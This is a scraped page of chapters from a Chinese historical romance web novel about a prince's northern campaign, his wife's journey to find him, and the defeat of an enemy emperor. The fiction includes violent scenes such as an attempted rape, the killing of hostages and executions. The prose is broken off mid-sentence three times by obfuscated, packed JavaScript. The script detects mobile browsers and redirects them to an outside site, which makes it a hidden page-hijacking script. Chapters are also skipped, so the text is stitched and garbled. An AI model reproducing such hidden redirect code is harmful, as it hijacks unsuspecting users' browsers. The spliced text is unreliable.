很快,两个奶妈入了寝室,在她允许后,将季宏抱走喂奶。而赵氏则安排了人,照顾姜秋叶月子。 远在邺州的季辞,过了一月后,才从信使处收到消息,知道他们母子平安喜不自胜,在军中大摆宴席,庆贺得子。 宴席中觥筹交错,结束后,他走出营帐,身上铁衣印月,闭起眼睛,夏夜风过,反倒更是心中焦虑,恨不得插翅飞回他们母子身边。可看着四周将士,又不得不按捺下这份慌张。 转了转拇指上的玉扳指,想起最初她订做这扳指的目的,心觉好笑,没想到后来竟真成了他们之间的信物。 抬起手,轻轻一吻有些冰凉的扳指,就是可惜,闻不到她身上那股香。 …… 北伐出征第三年,晋军一路势如破竹,攻下无数城池,至翼州汕城,速度之快,让燕王手足无措。 只要拿下翼州,待冬日过后,直逼乾阳,灭骊,北伐之战便能结束。 翼州汕城地势险峻,居高临下,易守难攻。 周成虎先带一小队斥候,前往汕城附近查探,哪知中了敌人埋伏,被逼退回来,两方交战时,差点被对方生擒。 如今到了冬日最为严寒之季,他们深入敌方腹地,军中粮草不足,再加上连日暴雪,兵士愈发支撑不住。 营帐中,王副将大怒拍桌道:“这汕城在我们高处,咱们根本无法用箭,除了强行突破,真是别无他法。这骊军胆小如虎,无论怎样都缩在城中不愿出来,在这样下去,我们怕是要被自己给耗死。” 季辞眉头紧蹙,心中怎能不焦急。若是消耗战打下去,一直强行破城,虽是城终可破,却伤敌一千,自损八百。 到时候再攻打乾阳,便定会兵力不足。 有人提议:“如今咱们粮草几乎消耗殆尽,已经好些个士兵直接饿死,我看,要不从之前占领的城池中抢吧。” 另有人反对:“不可!打天下难,守天下更难。当初燕悻便是为了粮草,安抚将士,以战养战,放任士兵在城中烧杀抢虐,所过之处,皆是破败不堪,寸草不生。而后来坐上皇位,因着曾经暴虐之行,根本不得民心,还要花费大笔国库支出去重建这些城池。此乃教训,王爷万万不可效仿!” 营帐中众人争吵不休,他闭眼抬手压了压,道:“先暂且在此地歇息,让本王想想。” 说完,便走出了营帐,看着天空鹅毛大雪,伸出手接了片雪花在掌心,看着那雪融化。忽然想到了南方,那里应是没有此地寒冷。 三年过去,随着离盛京愈远,往来书信愈发困难,最初半月一次书信,如今却变成了三月一次。 这时,忽然听闻角落里传出女子呻吟叫喊之声,他皱眉往那处而去。 转过营帐拐角,只见三名士兵不知从何地抓来了一女子,那女子面色死灰,身下裙子早已被撕破,其中一士兵正脱了裤子正准备解压,叫嚣着正好结束后直接杀了饱餐一顿。 季辞大怒,从腰间抽出长剑,直接走近,那士兵正要发泄着还未反应过来,他用剑一劈,竟直接砍断那人撕扯衣物的手。 那士兵大吼着滚到地上,捂住源源不断流出的鲜血,痛声大叫。而另外两人吓得立马放开那女子,跪到了地上叩首。 季辞厉声道:“胆子不小啊,违反军规,私自强抢民女,问罪当斩!” “王爷,饶命啊!”两人立马痛哭流涕,嗓音参差不齐,开始磕头认错。 “王爷,我还什么都没做啊!” “王爷饶命,我也是什么都没做,只有张竖一人干了这混账事儿。” 其中一名士兵吓得直接失禁,浑身颤抖道:“王爷,我们也是实在饿得不行,每日都在吃雪,快要饿死了,无意看到山中有女人,便想着抓来吃了。如今军中每日都有人饿死,我们也是快要疯了,才犯了军规,做出这等下作事。” 季辞低头用力呼吸着,他们所说他又怎会不知,如今草木皆休,每日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13130105|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暴雪不断,粮草耗尽。 他压下心中怒意,厉声道:“无论理由为何,军中纪律森严,军令如山。” 最后他判了那叫张竖的人斩首示众之刑,另外两人每人八十军棍,此番惩罚,与要了命几乎没甚区别。 听说那女子是下面清水村村民,季辞没怎么理会,只是派人将那女子送回家中。 刑罚执行完毕后,他扫视过众人越来越颓废的眼神,以及压抑难忍的情绪。他心中自是愧疚难当,只着急思索办法,快点破了这该死的汕城。 两日后,他亲自带一小队兵,前往汕城下方,偷袭出城查探的敌军。 对方发觉后,两方交战,又兔子般逃回了汕城之中,而城上见状后,立即朝着他们小队放箭。一行人努力举盾抵挡,才终于姗姗退回营帐。 而祁王却是胸口中箭,回到营帐后便不省人事,生死难料。 …… 此消息传到盛京时,姜秋叶正在学着缝制小儿衣裳。季宏仅仅两岁,却遗传了他父亲的聪慧,已开始学习诗书。 人又懂事乖巧,从来不让她担忧。 “阿娘!”一个小白团子从屋外跑进,身上穿着厚厚的棉袄,身后跟着明月,两人一起跑进了室内,到了姜秋叶跟前。 姜秋叶笑着摸了摸季宏鼻尖,“哟,玩儿得这么脸红气喘呢?” 季宏长开后果然是个极俊的,外貌更像姜秋叶一些,性格嘛......说不太清。 “阿娘,这个送给你,是只小雪兔。”他将手中用雪捏成的小兔递给她,她接过后冰冰凉凉放在手心,虽看不出来是兔子,但他说是那便是。 “雪兔在屋子里会化了,我们把它放到室外去好不好?” “好,阿娘一起。” 说完他便主动牵起她手走出寝室,两人寻了一处树下,将小兔安置好。又接着一起捏了更多动物,放在一块儿。 “王妃——”一小厮飞速奔跑着,冲进了祁王府,被门槛绊倒,摔破了头皮,爬起身后,又大喊着奔至归鸿院,“王妃!不好了!” 姜秋叶看着面前着急忙慌的小厮,心中不祥感越发强烈,她起身看了一眼蹲在地上的季宏,让明月照看好,走到一边,问道:“怎么了?” 他大喘气,结结巴巴道:“王爷、王爷,在翼州受了重伤,前线消息传回来后,说是人快不行了!” “什么?”姜秋叶心头一紧,眼前一黑,似是浑身失去了力气,坠入冰窖。 这消息传到盛京,那季辞重伤之事想必已是一月之前。她抓紧了腰间的芙蓉玉坠,心跳似乎要撞出喉咙,口中泛起一股血腥。 片刻后,她立刻回寝室,随意披上一件披风,让人备了车,往安和园而去。 见到赵氏时,她坐在上方,面上并未有多余的表情,只是淡漠地将翼州军情看完,摇头叹息。 姜秋叶等了许久,终于开口问道:“太奶奶,翼州究竟发生了何事?” “翼州冬季大雪,寸草不生,粮草供应不及,不少士兵饿死。辞儿也是着急,直接带一小队在汕城下偷袭,结果打起来后无意中箭。这是一月前之事了,如今怎样,太奶奶也不知。” 听闻后她没忍住踉跄了两步,哽咽道:“太奶奶、我、我、我想......” “去吧。”赵氏未等她说完,直接打断了她,“你不是已经决定好了,无需征求我意见。我只是个多年不理朝政的垂暮老媪。而你是,大晋摄政王的王妃,去做你想做的便好。” “太奶奶。”姜秋叶心中感动至极,嘴角颤动。 “宏儿送来安和园,我带着他,你也不必忧心。” 她语气镇定,无丝毫慌乱,在这样的时候稳住她的心。 姜秋叶跪下匍匐行一大礼,而后转身离去。 她回府后安顿好季宏,明月带着他,他带着贱贱,三人住去了安和园。 姜秋叶随意收了一些轻装,将头发束起在脑后。带上一队侍卫,直接驾马,日落前离开盛京,往北方翼州而去。 106.暴雪 第一百零六章 寒冬,连盛京都被白皑皑的雪所掩盖,反射着刺眼的光线,让人有些睁不开眼。路上行人口中呼出白气,个个走路都弓腰驼背。 姜秋叶出了城后,马不停蹄往北方赶去,虽说人还能撑得住,可马却不行。姜秋叶思索一番后,决定去往最近的县城换马。有了这一次之后,每到一个比较大的县城时,便换上新马。 他们速度极快,一周便到达淮西,想起曾经季辞信中所言,她有些感慨,还是路过曾经的忘忧楼看了一眼,果然变成了一家极大的客栈,早已没有了往日歌舞升平。 没有太过留恋,等待天去买上新马匹,补给物资后,又继续往北方而去。路途中所经过的城池都早已被晋国收入囊中,得益于三年将养,除了今年冬日所造成的伤害,其他与曾经晋国内的县城并无甚区别。 只是越往北方,雪越大,也越是寒冷。 离翼州只剩下一河之隔,那河面被冻结了冰,马匹踩上去后咯吱作响,让众人有些心惊,又退了回来。 正当几人不知如何是好时,路过一山间伐木老朽,见到一行人后便主动上前指点,道若是骑马至翼州,便得走另一条路,翻山越岭,需要三日,可抵达河对岸。 若是着急过河,便不能骑马,且只得瘦小之人步行而过。虽然这北方天气极寒,可这河不知为何,每年结冰都极薄,若骑马而上怕是危险。 老朽说完后便直接离开。 而侍卫都面面相觑,看向姜秋叶等候下令。天去有些担忧道:“王妃,咱们还是走山路吧。若无马匹,过了这河,还得持续走很长一段路。这天寒地冻,又是暴雪,徒步定不便。” 姜秋叶却摇摇头,看着已能看到翼州,明明近在眼前,却依然远在天边,“天去,你和我两人徒步而行吧。剩下之人撤回乌城中等待。” 侍卫们心急,“王妃不可啊,如今还不知翼州近况,此行危险。” “好了,不必劝我,我已打定主意,若天去不想徒步,那你也留下。”她微微勾唇,“我实在无法等下去了,我一刻都等不住。” 越是接近翼城,她越是心慌,稍微停滞一会儿,便全身发抖。 “是,王妃,我随你同行。”天去无奈,见她固执,只能应下。 几人下马,最后侍卫也决定与姜秋叶共同徒步而行,只留下四个体重过重的侍卫返回乌城等待。 他们将一条麻绳绑至腰间,以防止有人踩空落河后救不上来,天去走在最前方带路,姜秋叶在第二个。 几人小心翼翼踏入被积雪掩盖的薄冰之上,积雪极深,踩下去直接到了膝盖,裤腿与靴子都湿了个透底,缓慢一路向前。每走一步,冰面便发出声响,导致不敢太大动作。 可越接近翼州,她心中越急不可耐。 整整花了一个时辰,过了这河,众人回到岸上后才松了一口气,又见王妃将腰间麻绳解开后,无丝毫停顿地向前走去。 实在没想到,王妃体力如此之好,对比起来,他们总觉自己太过弱小。 暴雪模糊了视线,天寒地冻,所路过的城池皆是残垣断壁的空城,曾经的百姓皆四处逃难。 一个时辰后,终于来到了汕城门外,未见安置的军营,只见明显有过搭营痕迹,又吃不准城中情况。天去不许姜秋叶直接过去,便先行一人前往打探一番。 未等太久,便奔了回来,道:“王妃,如今汕城早已被拿下,我们可平安入城,只是王爷的具体消息还不知晓,怕是得先入城才可知。” “好,我们走。” 姜秋叶心中暗暗松了一口气,既然汕城拿下,那是否说明季辞还好好的? 无片刻犹豫,便带着人又踩着积雪往汕城中去。 通常,主将应是会住去城中府衙。入城后,已是傍晚,路面积雪被清过,不再寸步难行。虽还在戒严,却并不见被战火摧残过的痕迹。 而她的心却猛烈地狂跳起来,到了府衙前,众人被守门士兵长矛拦下,厉声道:“什么人?此时禁止随意出行走动!” 姜秋叶没有回答,天去见状上前一步,出示令牌,道:“此乃祁王妃,特来寻祁王殿下。” 那士兵将信将疑地接过令牌,细细查探一番,没想到竟真是祁王妃,居然从远在千里的盛京冒雪而来,他还回令牌后,恭敬行礼道:“参见王妃!小的失礼,只是如今祁王殿下并不在这汕城,而是去了附近的清水村,那村子受暴雪灾害严重,今日一早便带兵去了那地,为村民除雪。” 听到这个消息时,姜秋叶心中复杂。 首先是确信季辞伤愈,未危及生命的雀跃。同时又是一趟跑来扑了空的失落。 她面色不显,只是扯嘴一笑,“清水村在何地?” 士兵指了指,道:“出汕城往西,翻过那座山头便是。” 她看了眼跟随自己的侍卫,众人面带疲倦,两眼发昏,天去更是腿都软了,止不住打颤,她抿唇,默默低下了头。 士兵热情地将众人请进府衙,道:“王妃先在此地歇息,小的让人备上热水,给王妃和大人们休整一番。今日天色已晚,前往清水村需经过山路,并不安全。等明儿一早,小的派人去给王爷报信。” 姜秋叶勉强一笑,没有说话,只是跟随着进了一间厢房。 士兵一边为她准备东西,一边带着崇拜之情,说起那场汕城之战。 汕城在高地,地势易守难攻,当时天气寒冷,又吃食不足,骊军躲在城中不出,晋军一接近便放箭。 军中那时已有人冻死饿死,祁王心中急切,最后忽生一计。带小队偷袭,假装中箭重伤,回了军营之后,便造成军中失主,一盘散沙的假象。 敌方也是精明,悄悄派斥候来查探了不少次,祁王为骗过骊军,便连己方都给骗了。后来又放出晋军出现大量逃兵的假象和谣言。 果不其然,那骊军上了当,找了自以为最佳的偷袭时机,正开城门出城之时,被四处暗中隐藏的晋军包围,重弩箭箭射出,准备关门之人都脑袋开花。骊军被打了个措手不及,无法逃窜,也因此才能快速攻陷汕城。 士兵将这最好的炭火拿出来给她点上,而后便退出房间,让人去备晚膳。 姜秋叶虽听得热血沸腾,可同时此刻心中的失落达到顶峰。明明热水就在一旁,她却根本无心思沐浴换衣。她走到窗前,看了眼房外。 天色渐暗,积雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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予娘被拒绝后有些尴尬,她特意翻出了对于她来说极为珍贵的唇脂,装扮一番,还找出了这件她认为最好看的衣裳,却没想到他竟看都不看她一眼。 “姑娘若无何事,便退下吧。本王还有公务处理。”他有些烦躁,却还是客气。 骤然,季辞似感应到了什么一般,忽然抬头,予娘以为他在看自己,却没想到他越过自己看向了房外。有些不解,转身看向他视线所在,这一眼便让她呆住。 是一个极美的美人,虽然身着素净白衣,头发无任何饰品妆点,只是简单用发带束起。她脸颊有些脏,嘴唇干裂,却依然无法掩盖花神下凡之感。 季辞不可置信,以为是自己思念太深,出现了幻觉。他揉了揉眼,再次定睛一看,小妻子竟还站在那里。只是不知为何,她眼眶红了起来,满脸怒意,最后甩头转身离开。 他这才意识到,那人好像真的是他的叶儿。他心中欢喜,着急忙慌起身,带倒了椅子,又被绊了一脚,颤颤巍巍往外跑出去,着急喊了一声:“叶儿。” 108.狄胡 第一百零八章 仅仅在清水村待了一夜,第二日清晨,交代了手下清水村最后的任务,季辞便带着姜秋叶直接回了汕城。 虽是姜秋叶自己丢开天去等人,一人跑去了清水村,可季辞还是将天去等人,以护卫不利为由教训了一通。 整个翼州如今被晋军占领,可毕竟靠近乾阳,让季辞心中隐隐担忧姜秋叶安危,想将她送回盛京。 可奈何暴雪封路,她这一路受苦而来,怎能让她再一路受苦而去。再加之姜秋叶不停朝他撒娇,让他实在难以硬下心肠,只能将其安置汕城府衙中。 是日,正讨论攻打乾阳战略之时,忽有战报传来。 “报——王爷!淮西传来战报,狄胡带一万兵马袭扰,攻至城下!” 众人一惊,“狄胡?前几年不是才将安阳长公主嫁给狄胡小王子,以求两国邦交。怎如今看我们与骊国打得火热,竟来横插一脚,实在卑鄙无耻。” 季辞也同样疑惑,后来打听一番才知,狄胡前些时日内乱,狄胡王逝,如今狄胡只二位王子,二王子达也,小王子乌吉。 达也为竞争王位,获取朝中支持,在人挑唆下,趁着晋国兵力皆在北方,便想趁机攻夺,坐收渔利。 而挑唆达也夺位之人,众人皆熟悉,便是季康! 季康原本往曲州而逃,却未想到白虎军被季辞彻底收入囊中,走投无路后,竟投狄胡,破坏两国和平。 好在二王子对季康并非全然信任,虽一万兵马驻扎城外,可首次袭扰,仅派出千人作为试探。 季辞恼怒,没想到这个皇侄竟如此死心不改,做出此等有损大晋之事。可如今兵力都集中在翼州与乾阳相对,暴雪封山,思索一番后,决定亲带一小队百人轻骑前往淮西。 姜秋叶想要跟随,被他以军规和安全为由严词拒绝,她抿唇,好不容易翻山越岭来寻他,怎能放他自己离开?她又不是手无缚鸡之力的小女子。 她不动声色,第二日清晨为季辞穿上盔甲,送他离开府衙厢房后,便自己也换上一套小兵服制,牵出一匹马,悄悄跟上了往淮西而去的队伍末。 汕城见过姜秋叶的士兵仅仅几人,当她跟随时,一旁的士兵只是看了她一眼,虽有疑惑,也心觉之前竟未发现军中有长相如此俊俏的小兵,却没多事儿管她。 翻山后一路马不停蹄地往淮西赶去,等快入淮西地界之时,季辞才发现自己队伍中,竟然多出了一人。短短两三日,她便与队尾的几人勾肩搭背。 他看到她时震惊又愤怒,可那水灵灵的漂亮桃花眼,让他一句严厉之语都无法说出,又担心她被其他人发现身份。 众人休息之时,他将她拉至一片密林,这才质问起她,没想到她不仅油盐不进,还在离其他士兵那么近的地方扑上来勾引自己。 她靠近他耳边,又勾勾他手心,呵气如兰,低声说了半句话,“夫君觉不觉得,如今很像那……” 季辞挑眉看她:“?” 姜秋叶面不改色道:“《将军猛爱记》啊!” !!! 这个小妻子,花样儿真是百花齐放,他喉结滚动一番,压住心底激动。 将一只拳头放在嘴边,轻咳了一声,压着嗓子道:“胡闹,现在乃正事儿。军中纪律严明,我怎能带头如此?” 真是老木头...... “不会有人发现的,我演技可好了。” 他有些头疼地按了按眉心,无奈退让道:“罢了。只此一次,那你要答应我,到了淮西后便去邻城府衙好好待着,不许四处走动,安心等我回来。” “知道了!”她娇笑一声,倾身上前吻了吻他的唇角,让他不由身子一僵。 看着差不多时辰继续上路,转头环视了一眼四周,不见有人靠近,便抓过她脖颈,狠狠吻了一通才将她放开。 淮西并未如想象中混乱,虽依然有不少人家担忧城破而卷铺盖出城避难,可大部分百姓仍对晋军颇有信心,依然待在家中等待。 姜秋叶等人到达淮西后,大概听闻淮西都尉率数千兵守住了城,可对方却不死心,或许想着晋骊两国交战,乃是最好进攻时机。 季辞将她送至邻城安全地带,便马不停蹄,从小队中挑了二十人直接与他一同出关,剩余人帮助都尉驻守城池。他们绕过达也军帐,至往狄胡方向而去。 淮西以西便是大漠,虽未下雪,却也是飞沙走石,寒冷而干燥。 二十多轻骑昼夜不分,数日后赶到狄胡王宫,正是夜色深沉之时,道晋国祁王,要事求见小王子与王子妃安阳。 守城侍卫见状一脸懵,只知如今二王子带着手下一万人攻打晋国,却没想到对方几十人直接来了狄胡,摸不清头脑,却还是在通报之后,领着他们入了王宫。 狄胡小王子乌吉性格软弱,见达也出兵,一个气儿都不敢出,躲在狄胡王宫内,只是眼睁睁看着。 乌吉与安阳共同接见季辞。 乌吉脑袋空空,直到季辞不拐弯抹角,直接开口道:“狄胡二王子达也,破坏两国盟约邦交,袭扰我晋国边境淮西。本王此次来,并非质问,而是在试图挽救狄胡。” “挽、挽救?”乌吉一头雾水。 季辞面无表情开口:“我大晋安阳长公主入狄胡和亲之事,西域诸国皆知。和亲之举,是为盟约。狄胡乃西域大国,此番不守诚信,必定惹来诸国蔑视。我大晋虽与骊国数年交战,可如今兵强马壮,已破翼州,直逼乾阳,灭骊也只是最后的时间问题。” “若是狄胡屡劝不听,在我大晋结束北伐之时,必定攻伐狄胡,以报此仇。虽是艰难,可届时诸多西域小国定然会为自身利益,借狄胡毁约起事,趁乱打劫,群起而攻之。狄胡再兵力强盛,也遭不住诸国共伐。” 乌吉终于听明白了,可却依然柔弱,“可是,可是我二王兄手下精兵猛将,他根本看不起我,不会听我劝。” 安阳见自己丈夫此番作为,也是不打不成气道:“你是不是傻?达也如今此举是为争夺王位,你若什么都不做,等来日他坐上王位,第一个拿来开刀的便是你!” 季辞颔首,“没错,所以我此番前来,只带二十人,并非与你狄胡为敌,而是助小王子趁达也不在王宫,夺取王位!” “什么?夺位!”乌吉大惊,“可是我手下并无听命于我的兵,朝臣如何信服于我?” “懦夫!”一声厉喝从殿外传入,紧接着走入一女子,“达也无信又无脑,若是我狄胡交于他手,总有一日会毁!” 众人转身看去,是狄胡公主力诺,经此多年,已长成英气女郎,身材健硕。 她入殿后朝着季辞抱拳,“王爷,多年未见,如今可好?” 见力诺出现,季辞暗中松了口气,兵权确是夺位最为重要的因素,而力诺虽身为女子,却手握重兵,多年来与男儿无异。此番前来,他本就有意请力诺相助乌吉。 他微微勾唇一笑,点头道:“近来甚好!” “若公主愿为本王与小王子出兵,本王定然感激不尽!” 力诺摆手道:“我本就不满那达也,做事冲动无脑。可毕竟,那也是我二王兄,本公主可助乌吉夺位,但若是出兵讨伐那达也,此自相残杀之事,本公主为何要做?” 季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145535|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞从容不迫道:“达也受我大晋罪人季康挑拨,侵扰大晋。公主无需做出自相残杀之事,只需以讨伐逆贼季康为由,与淮西都尉共同包围达也,让他投降便可。此番行事,为的不仅仅是大晋,也为狄胡,乌吉,以及百姓。此番,除了制止达也,狄胡别无选择。” “而狄胡朝臣只需明白,袭扰大晋,百害而无一利,再加上公主站到小王子一边,定然会纷纷拥立小王子。” 力诺顿了片刻,听明了祁王并不准备许诺她甚好处,掐准她为了自身安危,也为了狄胡,除了出兵,别无选择。自己手握兵权,又为女子,若是达也夺位,定然也不会放过自己。 她大笑一声道:“好,若是达也不降,本公主也不会手下留情!” 夜深人静时,季辞走出王宫,沉默看着东方天际。大漠的景色与晋国全然不同,一望无际,除了孤独,还有些自由之感。 力诺跟随身后,快步上前,走至他近旁,凝思片刻后问道:“王爷在想什么?若是关于明日,王爷无需忧虑,我手下精兵猛将......” “本王对公主很放心,并不担忧。” “那......” 季辞没看她,只是勾唇笑了笑,“再想本王的妻子,出关这么些时日,也不知她都在作甚。她喜好自由,若有一日能带她来这大漠,一观风景繁星,她定会愉悦。” 力诺一怔,“听闻王爷早已娶妻生子,还未来得及恭喜。不过......” “......说实话,刚才以为,王爷为了请我出兵,会承诺出联姻之举。” 自多年前万国来朝后,力诺便对季辞一见倾心,这么多年,却未见过一人如他那般。她嫁过一任丈夫,却以和离而终。 季辞自然听懂了她言下之意,转身对她颔首道:“让公主失望了,本王心悦吾妻之甚,她还为本王诞下子嗣,本王允诺过,此生唯她一人。” “为什么?王爷究竟心悦她何处?竟为此一生只她一人。” 力诺不解,她见过所有位高权重的男人,包括她父王,皆姬妾成群,更何况面前这位还是如今大晋摄政王。 他摇头道:“具体的,本王也说不清。但有一点本王知晓,曾经本王身心俱疲,时常食不下咽。可有她伴身侧,本王日日愉悦,也再无食欲之苦。好似,重回到年少青春时。” 她看着他沉默许久,最后看向远方黄沙,如释重负一笑,“我明白了。” 力诺与乌吉行动迅速,在第二日早,便重兵包围王宫,拥立乌吉登位。重臣虽有不服,却碍于权势,直接举行了登位大典。 乌吉登位后,发布的第一条命令,便是封力诺为主将,带兵讨伐给达也进谗言的小人季康。 达也知晓此事时,已被力诺和淮西都尉兵马团团围住,他不服反抗,大骂乌吉趁人不在王宫,竟夺王位。 两方交战起来,直到发觉一直待在自己身边的季康,和季康妻段氏消失无踪时,才感到自己被骗,他大怒。与力诺单挑,没想到被她直接砍断了马头坠马,活捉回狄胡。 …… 姜秋叶收到消息后便赶回淮西府衙,正是傍晚时分。 达也手下的士兵见他被活捉,纷纷弃械而降。季辞也已经在从狄胡赶回的路上,约莫还有两日便可到淮西。 而当初自她在邻城住下后,季辞便往汕城递去了信,天去等人不敢耽搁,带人来淮西护卫王妃。 想到很快便能见到季辞,心中激动难耐。过了亥时,姜秋叶沐浴完,换上干净的寝衣,正走出净室,准备上榻时,她耳朵一动,看向不远处的木柜。 “谁?” 110.结局(下) 第一百一十章 景平四年,六月季夏,晋军在季辞带领下兵分六路,对乾阳形成最终围合之势。本是最终攻伐进城之时,却遇了难。 先是忽逢连绵雨季,整日暴雨不断,护城河水位上涨,攻城变得比计划艰难。 再是,骊国皇帝燕悻自知大势已去,无路可逃,封锁紧闭城门,开始用城中百姓生命威胁季辞退兵。 如今便形成了此番僵局,晋军驻扎乾阳城外,每日都有百姓尸体被城中士兵从城楼上扔下,以示对晋军的警告威胁。 乾阳百姓民怨沸腾,却奈何手无寸铁,根本无法与骊军抗衡。 豆大的雨滴每日噼里啪啦滴下,军帐之中,众人正商讨破局之策,可却毫无头绪。 “依我看,不如我们不管燕悻小贼做甚,直接强行破城算了!难不成他还能来得及将城中百姓屠戮殆尽?”副将满脸怒意,如今胜利近在眼前,那燕悻却做出此等下作之事。 “不可!”季辞蹙眉,有些头疼,“此举与骊贼曾经的屠城之举何异?再加上如今护城河水位上涨,其湍急之势你们也曾见过,并非最佳渡河时机。为今之计,最保险的还是打消耗战。可如此一来,城中百姓更是受苦受难。” 最终众人并未商讨出最佳的攻城策略,只能先将其一放。 季辞走出营帐中,看着天空的瓢泼大雨,外面的士兵都已淋透,忙着给战马做挡雨之物。他低估了燕悻的无道,导致如今僵在这里无法动弹。走至能看见乾阳城门之处,只见城下堆叠着一具具尸体,皆是被骊军残害的百姓。 即使在如此远的距离,也能闻到从城中飘散而来的腥臭。 他双拳紧握,心中恼怒。 确实,消耗战打不起,强攻也不行。 五日后,他给乾阳城中燕悻递去消息,晋军撤兵至十里外。 乾阳太和宫中,燕悻整日饮酒不断,没想到自己辛苦建立的骊国,短短二十年都没有便又要结束在自己手中。 一内侍为燕悻倒上清酒,又盛上一碟糕点。 他吃糕点时太急被噎住,呛咳了好一阵,又灌了不少酒才咽下。没想到连这糕点都与自己作对。 他暴怒摔杯,那鎏金酒杯砸至那倒酒内侍的额头,破开了一条口子,又落在地上滚了好几圈。他心中恼怒不已,那内侍吓得立即跪在了地上叩首,口中不停重复喊着“陛下饶命”。 看着这个卑微的内侍,他直接抽刀上前,正准备以杀戮发泄一通时,忽有人来报信,祁王季辞答应了他的要求,已退兵至十里外。 燕悻怔住,未想到自己竟能成功,大喜过望,将手中大刀掷地,放了那内侍一命。立刻摇摇晃晃召集众臣商议此事,如今无论如何,乾阳定然守不住了。众人最终决定从乾阳东门出逃,再绕道一路往西。若是能入西域,说不定有起死回生的可能。 做好决定后,先让几个斥候前往城外查探,确定晋军退兵,并且无埋伏,这才带着众妃子朝臣,还有剩余的残兵,悄悄出城,一路翻山越岭,往西而去。 而乾阳城内还留下些许被蒙在鼓里的骊军,继续守城,每日准时抓几个无辜人杀戮一番,再从城墙处抛下,却不知自己的皇帝早已逃之夭夭。 燕悻一行人迅速且顺利,仅仅十日后便直接出关,晋军没能赶上他们的速度。一路黄沙漫天,沙尘暴一来,便是满口沙子,双眼难睁,寸步难行。 众人面孔憔悴,嘴唇干裂,被这风沙摧残,饱受折磨,妃子们哪儿受过这般罪,纷纷嚎啕大哭起来,惹得燕悻心中更是不快。 在一处岩壁后等待许久,沙尘暴过去,正当继续前行时,忽然见前方似乎有一大群骑马之人,带着地动山摇之势。 燕悻吃不准是哪路人马,准备带队从旁绕道时,竟没能跑过那群常年在沙地奔跑的战马,最后被团团围住。 仔细一看,竟是狄胡装扮,燕悻大怒:“尔等给朕速速让开,此乃骊国与晋国之事,你们狄胡莫要插手。” 哪儿知一声嗤笑,一女子骑于高马之上靠近,正是狄胡公主力诺,大笑道:“我狄胡如今王妃安阳乃晋国长公主,我们与晋国盟约众所周知。让你失望了,正是晋国猜到你们一路西逃,恳求我狄胡发兵,捉捕你们骊贼!” 燕悻哪儿会服气,见对方人马不算多,便让手下兵士与之交战。金戈铁马,寒枪剑戟,双方都杀红了眼,可奈何狄胡虽人少,却是兵强马壮,又常年活动于这大漠,不惧风沙,骊军很快落了下风。 燕悻见状同样提刀上前砍了两人,结果被刺伤了腹部,最后又冒着冷汗,气喘吁吁退下躲到中心。 虽然二十多年前他四处征战,战无不胜。可这些年日日沉迷享乐,酒池肉林,以前所学早已荒废,如今大腹便便,动几下便体力不支。 燕悻的妃子们都缩在一起大叫,从未见过真正战场上这般血腥场面,各个下跪投降,求力诺放她们一马。 燕悻见状心中更是恼怒不已,大声呵斥:“我骊国之人岂能投降于狄胡蛮人!” 他再次提刀,却不是往狄胡兵而去,而是直接抓住一妃子斩了脑袋,血溅三尺,力诺见状眉头紧蹙,似是没想到此人竟如此毫无人性。 他嘶吼着,指天骂地:“莫要过来,谁若靠近我,我便杀一人!” “啊——”妃子们惊恐大叫。 燕悻不管不顾,说完见狄胡似乎没有受到他的话语所影响,于是又拎出一看起来年仅十四的妃子,便要落下大刀,却没想到骤然间胸口一凉,忽然疼痛袭来,扩散至四肢,原来是一支穿透了胸膛的利箭。他忽感浑身无力,手中的刀掉落地上。 那妃子见状立刻挣扎跑开。 力诺立于马上,抽出另一支箭矢,遗憾道:“原本打算活捉了你,如今看来,此等无德之辈,不配苟活。” 说完,她又射出一箭,正中燕悻心脏。他终于仰面倒地,口中冒出鲜血。剩余残兵见骊国皇帝死在箭下,没有了负隅顽抗的意义,便纷纷投降。 结束了战斗,力诺面无表情地看着那地上的燕悻,讽刺一笑。 十日前,狄胡乌吉收到祁王快马加鞭送去的信件,阐述骊国燕悻,或许会弃城西逃,希望狄胡可助晋发兵,围剿骊贼。 原本狄胡犹豫,虽与晋国和亲,却并非晋国附属国,此番搅入两国浑水,动兵折将,实在非他们所愿。可季辞却许诺将大晋农耕畜牧技术传授于狄胡。 要知狄胡立于荒漠之地,虽是一片绿洲之中,可除了环境因素,本身粮产畜牧等技术远远不如晋国,可以说极其落后,每年存粮不足乃最大的问题。而大晋在此则优于诸国,若真能获得此技术,便能解决狄胡民众最大的问题。 力诺不得不佩服,祁王若是给出金钱,美人等,他们定然不会接受,可许出这份厚利,却使他们为其不得不出兵。 …… 暴雨从六月中旬便没有停过,四处河流水位上涨,到了六月底,堤坝溃决,大水直接淹了不少村庄,其中最严重的,当属平南县。 姜秋叶本每日待在淮西,等待战报,可听闻此事后,心中忧虑起来。 